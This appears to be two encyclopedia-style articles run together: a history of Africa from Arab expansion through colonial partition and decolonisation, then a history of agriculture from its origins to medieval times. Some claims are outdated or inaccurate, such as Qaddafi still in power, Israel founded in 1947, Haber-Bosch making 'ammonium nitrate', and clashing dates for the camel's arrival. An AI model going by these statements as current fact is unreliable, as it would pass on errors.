          Under the earlier dynasties Arabian or Moorish culture had attained a high degree of excellence, while the spirit of adventure and the proselytizing zeal of the followers of Islam led to a considerable extension of the knowledge of the continent. This was rendered more easy by their use of the camel (first introduced into Africa by the Persian conquerors of Egypt), which enabled the Arabs to traverse the desert. In this way Senegambia and the middle Niger regions became key areas for trans-Saharan trade and an exchange of ideas.


          Islam also spread through the interior of West Africa, as the religion of the mansas of the Mali Empire (c. 12351400) and many rulers of the Songhai Empire (c. 14601591). Following the fabled 1324 hajj of Kankan Musa I, Timbuktu became renowned as a centre of Islamic scholarship as sub-Saharan Africa's first university. That city had been reached in 1352 by the great Arab traveler Ibn Battuta, whose journey to Mombasa and Quiloa ( Kilwa) provided the first accurate knowledge of those flourishing Muslim cities of the Swahili on the east African seaboards.


          Arab progress southward was stopped by the broad belt of dense forest, stretching almost across the continent somewhat south of 10 North latitude, which barred their advance much as the Sahara had proved an obstacle to their predecessors. The rain forest cut them off from knowledge of the Guinea coast and of all Africa beyond. One of the regions which was the last to come under Arab rule was that of Nubia, which had been controlled by Christians up to the 14th century.


          For a time the African Muslim conquests in South Europe had virtually made of the Mediterranean a Muslim lake, but the expulsion in the 11th century of the Saracens from Sicily and southern Italy by the Normans was followed by descents of the conquerors on Tunisia and Tripoli. Somewhat later a busy trade with the African coastlands, and especially with Egypt, was developed by Venice, Pisa, Genoa and other cities of North Italy. By the end of the 15th century Spain had completely removed the Muslims, but even while the Moors were still in Granada, Portugal was strong enough to carry the war into Africa. In 1415 a Portuguese force captured the citadel of Ceuta on the Moorish coast. From that time onward Portugal repeatedly interfered in the affairs of Morocco, while Spain acquired many ports in Algeria and Tunisia.


          Portugal, however, suffered a crushing defeat in 1578 at al Kasr al Kebir, the Moors being led by Abd el Malek I of the then recently established Saadi Dynasty. By that time the Spaniards had lost almost all their African possessions. The Barbary states, primarily from the example of the Moors expelled from Spain, degenerated into mere communities of pirates, and under Turkish influence civilization and commerce declined. The story of these states from the beginning of the 16th century to the third decade of the 19th century is largely made up of piratical exploits on the one hand and of ineffectual reprisals on the other.


          


          European exploration


          During the fifteenth century Prince Henry "the Navigator," son of King John I, planned to acquire African territory for Portugal. Under his inspiration and direction Portuguese navigators began a series of voyages of exploration which resulted in the circumnavigation of Africa and the establishment of Portuguese sovereignty over large areas of the coastlands.


          Portuguese ships rounded Cape Bojador in 1434, Cape Verde in 1445, and by 1480 the whole Guinea coast was known to the Portuguese. In 1482 Diogo Co reached the mouth of the Congo, the Cape of Good Hope was rounded by Bartolomeu Dias in 1488, and in 1498 Vasco da Gama, after having rounded the Cape, sailed up the east coast, touched at Sofala and Malindi, and went from there to India. Portugal claimed sovereign rights wherever its navigators landed, but these were not exercised in the extreme south of the continent.


          The Guinea coast, as the nearest to Europe, was first exploited. Numerous European forts and trading stations were established, the earliest being So Jorge da Mina ( Elmina), begun in 1482. The chief commodities dealt in were slaves, gold, ivory and spices. The European discovery of America (1492) was followed by a great development of the slave trade, which, before the Portuguese era, had been an overland trade almost exclusively confined to Muslim Africa. The lucrative nature of this trade and the large quantities of alluvial gold obtained by the Portuguese drew other nations to the Guinea coast. English mariners went there as early as 1553, and they were followed by Spaniards, Dutch, French, Danish and other adventurers. Colonial supremacy along the coast passed in the 17th century from Portugal to the Netherlands and from the Dutch in the 18th and 19th centuries to France and Britain. The whole coast from Senegal to Lagos was dotted with forts and " factories" of rival European powers, and this international patchwork persisted into the 20th century although all the West African hinterland had become either French or British territory.


          Southward from the mouth of the Congo to the region of Damaraland (in what is present-day Namibia), the Portuguese, from 1491 onward, acquired influence over the inhabitants, and in the early part of the 16th century through their efforts Christianity was largely adopted in the Kongo Empire. An incursion of tribes from the interior later in the same century broke the power of this semi-Christian state, and Portuguese activity was transferred to a great extent farther south, So Paulo de Loanda (present-day Luanda) being founded in 1576. Before Angolan independence in 1975, the sovereignty of Portugal over this coastal region, except for the mouth of the Congo, had been only once challenged by a European power, the Dutch, from 1640 to 1648 in which Portugal lost control of the seaports.


          


          The slave trade


          The earliest external African slave trade was trans-Saharan. Although there had long been some trading along the Nile River and very limited trading across the western desert, the transportation of large numbers of slaves did not become viable until camels were introduced from Arabia in the 10th century. At this point, a trans-Saharan trading network came into being to transport slaves north. Unlike the Americas, slaves in North Africa were mainly servants rather than labourers, and an equal or greater number of females than males were taken, who were often employed as chambermaids to the women of northern harems. It was also not uncommon to turn male slaves into eunuchs.


          The Atlantic slave trade was a later development, but would eventually become far greater and have a much bigger impact. Increasing penetration of the Americas by the Portuguese created a huge demand for labor in Brazil. Workers were needed for agriculture, mining and other tasks. To meet this new demand, a trans-Atlantic slave trade developed. Slaves purchased in those West African regions known to Europeans as the Slave Coast, Gold Coast, and Cte d'Ivoire were often the unfortunate byproduct of fighting between rival African states. Powerful African kings on the Bight of Biafra might sell their captives internally or exchange them with European slave traders for trade goods such as firearms,rum, fabrics and seed grain. It should be noted that European traders also conducted their own, quite independent, slave raids.


          


          European conquest
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          19th-century European explorers


          Although the Napoleonic Wars distracted the attention of Europe from the exploration of Africa, there were nevertheless significant developments. The invasion of Egypt (17981803) first by France and then by Great Britain resulted in an effort by Turkey to regain direct control over that country, followed in 1811 by the establishment under Mehemet Ali of an almost independent state, and the extension of Egyptian rule over the eastern Sudan (from 1820 onward). In South Africa the struggle with Napoleon led the United Kingdom to seize Dutch settlements at the Cape, and in 1814 Cape Colony, which had been continuously occupied by British troops since 1806, was formally ceded to the British crown.


          Considerable changes had meanwhile been made in other parts of the continent, the most notable being the invasion of Algiers by France in 1830. This action put an end to the independent Barbary states, a major obstacle to Frances Mediterranean strategy. Egyptian authority continued its southward expansion with consequent additions to European the knowledge of the Nile. The city of Zanzibar, on the island of that name rapidly attained importance. Accounts of a vast inland sea, and the "discovery" in 18401848, by the missionaries Johann Ludwig Krapf and Johann Rebmann, of the snow-clad mountains of Kilimanjaro and Kenya, stimulated in Europe the desire for further knowledge.


          By the middle of the 19th century, Protestant missions were carrying on active missionary work on the Guinea coast, in South Africa and in the Zanzibar dominions. It was being conducted among people of whom Europeans knew little.In many instances missionaries turned explorer or became agents of trade and colonialism. One of the first to attempt to fill up the remaining blank spaces in the European map was David Livingstone, who had been engaged since 1840 in missionary work north of the Orange. In 1849 Livingstone crossed the Kalahari Desert from south to north and reached Lake Ngami, and between 1851 and 1856 he traversed the continent from west to east, making known the great waterways of the upper Zambezi. During these journeyings Livingstone "discovered", November 1855, the famous Victoria Falls, so named after the Queen of the United Kingdom. These falls are called Mosi-oa-Tunya by Africans. In 18581864 the lower Zambezi, the Shire and Lake Nyasa were explored by Livingstone, Nyasa having been first reached by the confidential slave of Antonio da Silva Porto, a Portuguese trader established at Bihe in Angola, who crossed Africa during 18531856 from Benguella to the mouth of the Rovuma. A prime goal for explorers was to locate the source of the River Nile. Expeditions by Burton and Speke (18571858) and Speke and Grant (1863) located Lake Tanganyika and Lake Victoria. It was eventually proved to be the latter from which the Nile flowed.


          Henry Morton Stanley, who had in 1871 succeeded in finding and succoring Livingstone, started again for Zanzibar in 1874, and in one of the most memorable of all exploring expeditions in Africa circumnavigated Victoria Nyanza and Tanganyika, and, striking farther inland to the Lualaba, followed that river down to the Atlantic Oceanreached in August 1877and proved it to be the Congo.


          Explorers were also active in other parts of the continent. Southern Morocco, the Sahara and the Sudan were traversed in many directions between 1860 and 1875 by Gerhard Rohlfs, Georg Schweinfurth and Gustav Nachtigal. These travellers not only added considerably to geographical knowledge, but obtained invaluable information concerning the people, languages and natural history of the countries in which they sojourned. Among the discoveries of Schweinfurth was one that confirmed the Greek legends of the existence beyond Egypt of a "pygmy race". But the first western discoverer of the pygmies of Central Africa was Paul du Chaillu, who found them in the Ogowe district of the west coast in 1865, five years before Schweinfurth's first meeting with them; du Chaillu having previously, as the result of journeys in the Gabon region between 1855 and 1859, made popular in Europe the knowledge of the existence of the gorilla, perhaps the gigantic ape seen by Hanno the Carthaginian, and whose existence, up to the middle of the 19th century, was thought to be as legendary as that of the Pygmies of Aristotle.


          


          Partition among European powers


          In the last quarter of the 19th century the map of Africa was transformed. Lines of partition, drawn often through trackless African countryside, marked out the "possessions" of Germany, France, Britain and the other Great Powers. Railways penetrated the interior, vast areas were "opened up" to European conquest.


          The causes which led to the partition of Africa can be found in the economic and political state of western Europe at the time. Germany, recently united under Prussian rule as the result of the Franco-Prussian War of 1870, was seeking new outlets for her energies, new markets for her growing industries, and with the markets, colonies.


          Germany was the last country to enter into the race to acquire colonies, and when Bismarckthe German Chancellor acted, Africa was the only field left to exploit. South America was widely considered the fiefdom of the United States based on the Monroe Doctrine, while Britain, France, the Netherlands, Portugal and Spain had already divided much of Asia and the rest of the world between themselves.


          Part of the reason Germany began to expand into the colonial sphere at this time, despite Bismarck's lack of enthusiasm for the idea, was a shift in the world view of the Prussian governing elite. Indeed, European elites as a whole began to view the world as a finite place, one in which only the strong would predominate. The influence of social-Darwinism was deep, encouraging a view of the world as essentially characterized by zero-sum relationships.


          For different reasons the war of 1870 was also the starting-point for France in the building up of a new colonial empire. In her endeavour to regain the position lost in that war France had to look beyond Europe. To the two causes mentioned must be added others. Britain and Portugal, when they found their interests threatened, bestirred themselves, while Italy also conceived it necessary to become an African power.


          It was not, however, the action of any of the great powers of Europe which precipitated the struggle. This was brought about by the projects of Lopold II, king of the Belgians. The discoveries of Livingstone, Stanley and others had aroused especial interest among two classes of men in western Europe, one the manufacturing and trading class, which saw in Central Africa possibilities of commercial exploitation, the other the philanthropic and missionary class, which beheld in the newly discovered lands millions of "savages" to Christianize and "civilize". The possibility of utilizing both these classes in the creation of a vast private estate, of which he should be the head, formed itself in the mind of Lopold II even before Stanley had navigated the Congo. The king's action proved successful; but no sooner was the nature of his project understood in Europe than it provoked the rivalry of France and Germany, and thus the international struggle was begun.


          


          Conflicting ambitions of the European powers


          Bargash Sayyid, the Sultan of Zanzibar, abolished the slave trade in Zanzibar in 1876 under pressure from Sir John Kirk of the United Kingdom.


          The part of the continent to which King Lopold directed his energies was the equatorial region. In September 1876 he took what may be described as the first definite step in the modern partition of the continent. He summoned to a conference at Brussels representatives of Britain, Belgium, France, Germany, Austria-Hungary, Italy and Russia, to deliberate on the best methods to be adopted for the exploration and Westernization of Africa, and the opening up of the interior of the continent to commerce and industry. The conference was entirely unofficial. The delegates who attended neither represented nor pledged their respective governments. Their deliberations lasted three days and resulted in the foundation of "The International African Association," with its headquarters at Brussels. It was further resolved to establish national committees in the various countries represented, which should collect funds and appoint delegates to the International Association. The central idea appears to have been to put the exploration and development of Africa upon an international footing. But it quickly became apparent that this was an unattainable ideal. The national committees were soon working independently of the International Association, and the Association itself passed through a succession of stages until it became purely Belgian in character, and at last developed into the Congo Free State, under the personal sovereignty of King Lopold.


          After the First Boer War, a conflict between the British Empire and the Boer South African Republic (Transvaal Republic), the peace treaty on March 23, 1881 gave the Boers self-government in the Transvaal under a theoretical British oversight.


          For some time before 1884 there had been growing up a general conviction that it would be desirable for the powers who were interesting themselves in Africa to come to some agreement as to "the rules of the game," and to define their respective interests so far as that was practicable. Lord Granville's ill-fated treaty brought this sentiment to a head, and it was agreed to hold an international conference on African affairs.
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          Berlin Conference


          From 1885 the scramble among the powers went on with renewed vigour, and in the fifteen years that remained of the century the work of partition, so far as international agreements were concerned, was practically completed.


          
            	Relationship to " Victorian Era" in the UK.

          


          Soldiers of King Menelik II fended off the Italians, keeping Ethiopia independent from European colonization.


          No African countries were consulted during the partitioning of Africa. An "International treaty" was signed that disregarded the ethnic, social and economic composition of the people that lived in that area. This was to resurface years later, as ethnic or "tribal" conflict after the African countries gained their independence.
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          20th century: 1900-1945


          


          The early 20th century
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          All of the continent was claimed by European powers, except for Ethiopia ("Abyssinia") and Liberia.


          The European powers set up a variety of different administrations in Africa at this time, with different ambitions and degrees of power. In some areas, parts of British West Africa for example, colonial control was tenuous and intended for simple economic extraction, strategic power, or as part of a long term development plan.


          In other areas Europeans were encouraged to settle, creating settler states in which a European minority came to dominate society. Settlers only came to a few colonies in sufficient numbers to have a strong impact. British settler colonies included British East Africa, now Kenya, Northern and Southern Rhodesia, later Zambia and Zimbabwe, and South Africa, which already had a significant population of European settlers, the Boers.


          In the Second Boer War, between the British Empire and the two Boer republics of the Orange Free State and the South African Republic ( Transvaal Republic), the Boers unsuccessfully resisted absorption in to the British Empire.


          France planned to settle Algeria and eventually incorporate it into the French state as an equal to the European provinces. Its proximity across the Mediterranean allowed plans of this scale.


          In most areas colonial administrations did not have the manpower or resources to fully administer the territory and had to rely on local power structures to help them. Various factions and groups within the societies exploited this European requirement for their own purposes, attempting to gain a position of power within their own communities by cooperating with Europeans. One aspect of this struggle included what Terence Ranger has termed the "invention of tradition." In order to legitimize their own claims to power in the eyes of both the colonial administrators, and their own people, people would essentially manufacture "traditional" claims to power, or ceremonies. As a result many societies were thrown into disarray by the new order.


          During World War I the British and German Empires battled on several occasions, the most notable being the Battle of Tanga, and a sustained guerrilla campaign by the German General Paul von Lettow-Vorbeck.


          


          Interbellum


          After World War I the formerly German colonies in Africa were taken over by France and the United Kingdom.


          During this era a sense of local patriotism or nationalism took deeper root among African intellectuals and politicians. Some of the inspiration for this movement came from the First World War in which European countries had relied on colonial troops for their own defense. Many in Africa realized their own strength with regard to the colonizer for the first time. At the same time, some of the mystique of the "invincible" European was shattered by the barbarities of the war. However, in most areas European control remained relatively strong during this period.


          Italy, under the government of Benito Mussolini, invaded Ethiopia, the last independent African nation, in 1935 and occupied the country until 1941.


          


          The postcolonial era: 1945 to 1993


          


          Decolonization
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          The decolonisation of Africa started with Libya in 1951. (Although Liberia, South Africa, Egypt and Ethiopia were already independent.) Many countries followed in the 50s and 60s, with a peak in 1960 with independence of a large part of French West Africa. Most of the remaining countries gained independence throughout the 1960s, although some colonizers (Portugal in particular) were reluctant to relinquish sovereignty, resulting in bitter wars of independence which lasted for a decade or more. The last African countries to gain formal independence were Guinea-Bissau from Portugal in 1974, Mozambique from Portugal in 1975, Angola from Portugal in 1975, Djibouti from France in 1977, and Namibia from South Africa in 1990. Eritrea later split off from Ethiopia in 1993.


          Because many cities were founded, enlarged and renamed by the Europeans, after independence many place names (for example Stanleyville, Lopoldville, Rhodesia) were renamed: see historical African place names for these.


          


          East Africa


          The Mau Mau Rebellion took place in Kenya from 1952 until 1956, but was put down by British and local forces. A State of Emergency remained in place until 1960. Kenya became independent in 1963, and Jomo Kenyatta served as its first president.


          The early 1990s also signaled the start of major clashes between the Hutus and the Tutsis in Rwanda and Burundi. In 1994 this culminated in the Rwandan Genocide, a conflict in which over one million people were murdered.


          


          North Africa


          In 1954 Gamal Abdel Nasser deposed the monarchy on Egypt and came to power. Muammar al-Qaddafi led a coup in Libya in 1969 and has remained in power.


          Egypt was involved in several wars against Israel, and was allied with other Arab countries. The first was right after the Israel was founded, in 1947. Egypt went to war again in 1967 and lost the Sinai Peninsula to Israel. They went to war yet again in 1973. In 1979 Anwar Sadat and Menachem Begin signed the Camp David Accords, which gave back the Sinai Peninsula to Egypt in exchange for the recognition of Israel. The accords are still in effect today. In 1981 Sadat was assassinated by an Islamist for signing the accords.


          


          Southern Africa


          In 1948 the apartheid laws were started in South Africa by the dominant party, the National Party, under the auspices of Verwoerd. These were largely a continuation of existing policies, e.g. the Land Act of 1913. The difference was the policy of "separate development;" Where previous policies had only been disparate efforts to economically exploit the African Majority, Apartheid represented an entire philosophy of separate racial goals, leading to both the divisive laws of 'petty apartheid,' and the grander scheme of African Homelands.


          In 1994 the South African government abolished Apartheid. South Africans elected Nelson Mandela of the African National Congress in the country's first multiracial presidential election.


          


          West Africa


          Following World War II, nationalist movements arose across West Africa, most notably in Ghana under Kwame Nkrumah. In 1957, Ghana became the first sub-Saharan colony to achieve its independence, followed the next year by France's colonies; by 1974, West Africa's nations were entirely autonomous. Since independence, many West African nations have been plagued by corruption and instability, with notable civil wars in Nigeria, Sierra Leone, Liberia, and Cte d'Ivoire, and a succession of military coups in Ghana and Burkina Faso. Many states have failed to develop their economies despite enviable natural resources, and political instability is often accompanied by undemocratic government.
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          Agriculture was developed at least 10,000 years ago, and it has undergone significant developments since the time of the earliest cultivation. Evidence points to the Fertile Crescent of the Middle East as the site of the earliest planned sowing and harvesting of plants that had previously been gathered in the wild. Independent development of agriculture occurred in northern and southern China, Africa's Sahel, New Guinea and several regions of the Americas. Agricultural practices such as irrigation, crop rotation, fertilizers, and pesticides were developed long ago but have made great strides in the past century. The Haber-Bosch method for synthesizing ammonium nitrate represented a major breakthrough and allowed crop yields to overcome previous constraints. In the past century agriculture has been characterized by enhanced productivity, the substitution of labor for synthetic fertilizers and pesticides, selective breeding, mechanization, water pollution, and farm subsidies. In recent years there has been a backlash against the external environmental effects of conventional agriculture, resulting in the organic movement.


          


          Origins
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          Identifying the exact origin of agriculture remains problematic because the transition from hunter-gatherer societies began thousands of years before the invention of writing. Nonetheless, archaeobotanists/ paleoethnobotanists have traced the selection and cultivation of specific food plant characteristics, such as a semi-tough rachis and larger seeds, to just after the Younger Dryas (about 9,500 BC) in the early Holocene in the Levant region of the Fertile Crescent. There is earlier evidence for use of wild cereals: anthropological and archaeological evidence from sites across Southwest Asia and North Africa indicate use of wild grain (e.g., from the ca. 20,000 BC site of Ohalo II in Israel, many Natufian sites in the Levant and from sites along the Nile in the 10th millennium BC). There is even evidence of planned cultivation and trait selection: grains of rye with domestic traits have been recovered from Epi-Palaeolithic (10,000+ BC) contexts at Abu Hureyra in Syria, but this appears to be a localised phenomenon resulting from cultivation of stands of wild rye, rather than a definitive step towards domestication. It isn't until after 9,500 BC that the eight so-called founder crops of agriculture appear: first emmer and einkorn wheat, then hulled barley, peas, lentils, bitter vetch, chick peas and flax. These eight crops occur more or less simultaneously on PPNB sites in the Levant, although the consensus is that wheat was the first to be sown and harvested on a significant scale.


          Mehrgarh, one of the most important Neolithic (7000 BCE to 3200 BCE) sites in archaeology, lies on the "Kachi plain of Baluchistan, Pakistan, and is one of the earliest sites with evidence of farming (wheat and barley) and herding (cattle, sheep and goats) in South Asia."{{fact|November 2007}


          By 7000 BC, sowing and harvesting reached Mesopotamia and there, in the super fertile soil just north of the Persian Gulf, Sumerian ingenuity systematized it and scaled it up. By 6000 BC farming was entrenched on the banks of the Nile River. About this time, agriculture was developed independently in the Far East, probably in China, with rice rather than wheat as the primary crop. Maize was first domesticated, probably from teosinte, in the Americas around 3000-2700 BC, though there is some archaeological evidence of a much older development. The potato, the tomato, the pepper, squash, several varieties of bean, and several other plants were also developed in the New World, as was quite extensive terracing of steep hillsides in much of Andean South America. Agriculture was also independently developed on the island of New Guinea.


          In China, rice and millet were domesticated by 8000 BC, followed by the beans mung, soy and azuki. In the Sahel region of Africa local rice and sorghum were domestic by 5000 BC. Local crops were domesticated independently in West Africa and possibly in New Guinea and Ethiopia. Evidence of the presence of wheat and some legumes in the 6th millennium BC have been found in the Indus Valley. Oranges were cultivated in the same millennium. The crops grown in the valley around 4000 BC were typically wheat, peas, sesame seed, barley, dates and mangoes. By 3500 BC cotton growing and cotton textiles were quite advanced in the valley. By 3000 BC farming of rice had started. Other monsoon crops of importance of the time was cane sugar. By 2500 BC, rice was an important component of the staple diet in Mohenjodaro near the Arabian Sea. By this time the Indians had large cities with well-stocked granaries. Three regions of the Americas independently domesticated corn, squashes, potato and sunflowers.


          


          Theory


          The reasons for the development of farming may have included climate change, but possibly there were also social reasons (e.g., accumulation of food surplus for competitive gift-giving as in the Pacific Northwest potlatch culture). Most likely there was a gradual transition from hunter-gatherer to agricultural economies after a lengthy period during which some crops were deliberately planted and other foods were gathered in the wild. Although localised climate change is the favoured explanation for the origins of agriculture in the Levant, the fact that farming was 'invented' at least three times elsewhere, and possibly more, suggests that social reasons may have been instrumental.


          When major climate change took place after the last ice age c.11,000 BC much of the earth became subject to long dry seasons. These conditions favoured annual plants which die off in the long dry season, leaving a dormant seed or tuber. These plants tended to put more energy into producing seeds than into woody growth. An abundance of readily storable wild grains and pulses enabled hunter-gatherers in some areas to form the first settled villages at this time.


          There are several theories as to what drove populations to take up agriculture:


          
            	The Oasis Theory which was original proposed by Raphael Pumpelly in 1908, but popularized by Vere Gordon Childe in 1928 and summarised in his book Man Makes Himself This theory maintains that as the climate got drier, communities contracted to oases where they were forced into close association with animals which were then domesticated together with planting of seeds. It has little support now as the climate data for the time does not support the theory.


            	The Hilly Flanks hypothesis. Proposed by Robert Braidwood in 1948, it suggests that agriculture began in the hilly flanks of the Taurus and Zagros mountains, and that it developed from intensive focused grain gathering in the region.


            	The Feasting model by Bryan Hayden suggests that agriculture was driven by ostentatious displays of power, such as throwing feasts to exert dominance. This required assembling large quantities of food which drove agricultural technology.


            	The Demographic theories proposed by Carl Sauer and adapted by Lewis Binford and Kent Flannery. This leads from an increasingly sedentary population, expanding up to the carrying capacity of the local environment, and requiring more food than can be gathered. Various social and economic factors help drive the need for food.


            	The evolutionary/intentionality theory. As proposed by those such as David Rindos the idea that agriculture is an evolutionary adaptation of plants and humans. Starting with domestication by protection of wild plants, followed specialisation of location and then domestication.

          


          


          Ancient agriculture
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          By the Bronze Age, wild food contributed a nutritionally insignificant component to the usual diet. If the operative definition of agriculture includes large scale intensive cultivation of land, mono-cropping, organized irrigation, and use of a specialized labour force, the title "inventors of agriculture" would fall to the Sumerians, starting ca. 5,500 BC. Intensive farming allows a much greater density of population than can be supported by hunting and gathering, and allows for the accumulation of excess product for off-season use, or to sell/barter. The ability of farmers to feed large numbers of people whose activities have nothing to do with agriculture was the crucial factor in the rise of standing armies. Sumerian agriculture supported a substantial territorial expansion which along with internecine conflict between cities, made them the first empire builders. Not long after, the Egyptians, powered by farming in the fertile Nile valley, achieved a population density from which enough warriors could be drawn for a territorial expansion more than tripling the Sumerian empire in area.


          


          Sumerian agriculture


          In Sumer, barley was the main crop, but wheat, flax, dates, apples, plums, and grapes were grown as well. Mesopotamia was blessed with flooding from the Tigris and Euphrates rivers but floods came in late spring or early summer from snow melting from the Turkish mountains. With Salt deposits under the soil, all of this made Mesopotamia very hard to farm. The earliest known sheep and goats were also domesticated and were in a much larger quantity than cattle. Sheep were mainly kept for meat and milk, and butter and cheese were made from the latter. Ur, a large town that covered about 50 acres (20 hectares), had 10,000 animals kept in sheepfolds and stables and 3,000 slaughtered every year. The city's population of 6,000 included a labour force of 2,500 cultivated 3,000 acres (12 km) of land. The labour force contained storehouse recorders, work foremen, overseers, and harvest supervisors to supplement labourers. Agricultural produce was given to temple personnel, important people in the community, and small farmers.


          The land was plowed by teams of oxen pulling light unwheeled plows and grain was harvested with sickles in the spring. Wagons had solid wheels covered by leather tires kept in position by copper nails and were drawn by oxen and the Syrian onager (now extinct). Animals were harnessed by collars, yokes, and headstalls. They were controlled by reins, and a ring through the nose or upper lip and a strap under the jaw. As many as four animals could pull a wagon at one time. Though some hypothesize that Domestication of the horse occurred as early as 4000 BC in the Ukraine, the horse was definitely in use by the Sumerians around 2000 BC.


          


          Chinese agriculture


          The unique tradition of Chinese agriculture has been traced to the pre-historic Xianrendong Relics and Diaotonghuan Relics (c. 12 0000 BC- 7500 BC). Chinese historical and governmental records of the Warring States ( 481 BC- 221 BC), Qin Dynasty ( 221 BC- 207 BC), and Han Dynasty ( 202 BC- 220 AD) eras allude to the use of complex agricultural practices, such as a nationwide granary system and widespread use of sericulture. However, the oldest extant Chinese book on agriculture is the Chimin Yaoshu of 535 AD, written by Jia Sixia. Although much of the literature of the time was elaborate, flowery, and allusive, Jia's writing style was very straightforward and lucid, a literary approach to agriculture that later Chinese agronomists after Jia would follow, such as Wang Zhen and his groundbreaking Nong Shu of 1313 AD. Jia's book was also incredibly long, with over one hundred thousand written Chinese characters, and quoted 160 other Chinese books that were written previously (but no longer survive). The contents of Jia's 6th century book include sections on land preparation, seeding, cultivation, orchard management, forestry, and animal husbandry. The book also includes peripherally related content covering trade and culinary uses for crops.


          For agricultural purposes, the Chinese had innovated the hydraulic-powered trip hammer by the 1st century BC. Although it found other purposes, its main function to pound, decorticate, and polish grain that otherwise would have been done manually. The Chinese also innovated the square-pallet chain pump by the 1st century AD, powered by a waterwheel or an oxen pulling a on a system of mechanical wheels. Although the chain pump found use in public works of providing water for urban and palatial pipe systems, it was used largely to lift water from a lower to higher elevation in filling irrigation canals and channels for farmland.


          


          Indian agriculture


          Evidence of the presence of wheat and some legumes in the 6th millennium BCE have been found in the Indus Valley. Oranges were cultivated in the same millennium. The crops grown in the valley around 4000 BCE were typically wheat, peas, sesame seed, barley, dates and mangoes. By 3500 BCE cotton growing and cotton textiles were quite advanced in the valley. By 3000 BCE farming of rice had started. Other monsoon crops of importance of the time was cane sugar. By 2500 BCE, rice was an important component of the staple diet in Mohenjodaro near the Arabian Sea.


          The Indus Plain had rich alluvial deposits which came down the Indus River in annual floods. This helped sustain farming that formed basis of the Indus Valley Civilization at Harappa. The people built dams and drainage systems for the crops.


          By 2000 BCE tea, bananas and apples were being cultivated in India. There was coconut trade with East Africa in 200 BCE. By 500 CE, eggplants were being cultivated.


          


          Roman agriculture


          Roman agriculture built off techniques pioneered by the Sumerians, with a specific emphasis on the cultivation of crops for trade and export. Romans laid the groundwork for the manorial economic system, involving serfdom, which flourished in the Middle Ages.


          


          Mesoamerican agriculture


          In Mesoamerica, the Aztecs were some of the most innovative farmers of the ancient world and farming provided the entire basis of their economy. The land around Lake Texcoco was fertile but not large enough to produce the amount of food needed for the population of their expanding empire. The Aztecs developed irrigation systems, formed terraced hillsides, and fertilized their soil. However, their greatest agricultural technique was the chinampa or artificial islands also known as "floating gardens". These were used to make the swampy areas around the lake suitable for farming. To make chinampas, canals were dug through the marshy islands and shores, then mud was heaped on huge mats made of woven reeds. The mats were anchored by tying them to posts driven into the lake bed and then planting trees at their corners that took root and secured the artificial islands permanently. The Aztecs grew corn, squash, vegetables, and flowers on chinampas.


          


          Andean agriculture


          The Andean civilizations were predominantly agricultural societies; the Incas took advantage of the ground, conquering the adversities like the Andean area and the inclemencies of the weather. The adaptation of agricultural technologies that already were used previously, allowed the Incas to organize the production a diversity of products of the coast, mountain and jungle, so them could be able to redistribute to villages that did not have access to other regions. The technological achievements reached to agricultural level, had not been possible without the workforce that was at the disposal of the Sapa Inca, as well as the road system that was allowing to store adequately the harvested resources and to distribute them for all the territory.


          


          Muslim Agricultural Revolution
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          From the 8th century, the medieval Islamic world witnessed a fundamental transformation in agriculture known as the " Muslim Agricultural Revolution", "Arab Agricultural Revolution", or " Green Revolution". Due to the global economy established by Muslim traders across the Old World during the " Afro-Asiatic age of discovery" or "Pax Islamica", this enabled the diffusion of many crops, plants and farming techniques between different parts of the Islamic world, as well as the adaptation of crops, plants and techniques from beyond the Islamic world, distributed throughout Islamic lands which normally would not be able to grow these crops. These techniques included crop rotation, irrigation and pest control. Some have referred to the diffusion of numerous crops during this period as the "Globalisation of Crops" ,which, along with increased mechanization of agriculture, led to major changes in economy, population distribution, vegetation cover, agricultural production and income, population levels, urban growth, the distribution of the labour force, linked industries, cooking and diet, clothing, and numerous other aspects of life in the Islamic world.


          Serfdom became widespread in eastern Europe in the Middle Ages. Medieval Europe owed much of its development to advances made in Islamic areas, which flourished culturally and materially while Europe and other Roman and Byzantine administered lands entered an extended period of social and economic stagnation. As early as the ninth century, an essentially modern agricultural system became central to economic life and organization in the Arab caliphates, replacing the largely export driven Roman model. The great cities of the Near East, North Africa and Moorish Spain were supported by elaborate agricultural systems which included extensive irrigation based on knowledge of hydraulic and hydrostatic principles, some of which were continued from Roman times. In later centuries, Persian Muslims began to function as a conduit, transmitting cultural elements, including advanced agricultural techniques, into Turkic lands and western India. The Muslims introduced what was to become an agricultural revolution based on four key areas:


          
            	Development of a sophisticated system of irrigation using machines such as norias, water mills, water raising machines, dams and reservoirs. With such technology they managed to greatly expand the exploitable land area.


            	The adoption of a scientific approach to farming enabled them to improve farming techniques derived from the collection and collation of relevant information throughout the whole of the known world. Farming manuals were produced in every corner of the Muslim world detailing where, when and how to plant and grow various crops. Advanced scientific techniques allowed leaders like Ibn al-Baytar to introduce new crops and breeds and strains of livestock into areas where they were previously unknown.


            	Incentives based on a new approach to land ownership and labourers' rights, combining the recognition of private ownership and the rewarding of cultivators with a harvest share commensurate with their efforts. Their counterparts in Europe struggled under a feudal system in which they were almost slaves ( serfs) with little hope of improving their lot by hard work.


            	The introduction of new crops transforming private farming into a new global industry exported everywhere, including Europe, where farming was mostly restricted to wheat strains obtained much earlier via central Asia. Spain received what she in turn transmitted to the rest of Europe; many agricultural and fruit-growing processes, together with many new plants, fruit and vegetables. These new crops included sugar cane, rice, citrus fruit, apricots, cotton, artichokes, aubergines, and saffron. Others, previously known, were further developed. Muslims also brought to that country lemons, oranges, cotton, almonds, figs and sub-tropical crops such as bananas and sugar cane. Several were later exported from Spanish coastal areas to the Spanish colonies in the New World. Also transmitted via Muslim influence, a silk industry flourished, flax was cultivated and linen exported, and esparto grass, which grew wild in the more arid parts, was collected and turned into various articles.

          


          


          Agriculture in the Middle Ages


          During the Middle Ages, Muslim farmers in North Africa and the Near East developed and disseminated agricultural technologies including irrigation systems based on hydraulic and hydrostatic principles, the use of machines such as norias, and the use of water raising machines, dams, and reservoirs. They also wrote location-specific farming manuals, and were instrumental in the wider adoption of crops including sugar cane, rice, citrus fruit, apricots, cotton, artichokes, aubergines, and saffron. Muslims also brought lemons, oranges, cotton, almonds, figs and sub-tropical crops such as bananas to Spain.


          


          Renaissance agriculture


          The invention of a three field system of crop rotation during the Middle Ages, and the importation of the Chinese-invented moldboard plow, vastly improved agricultural efficiency.


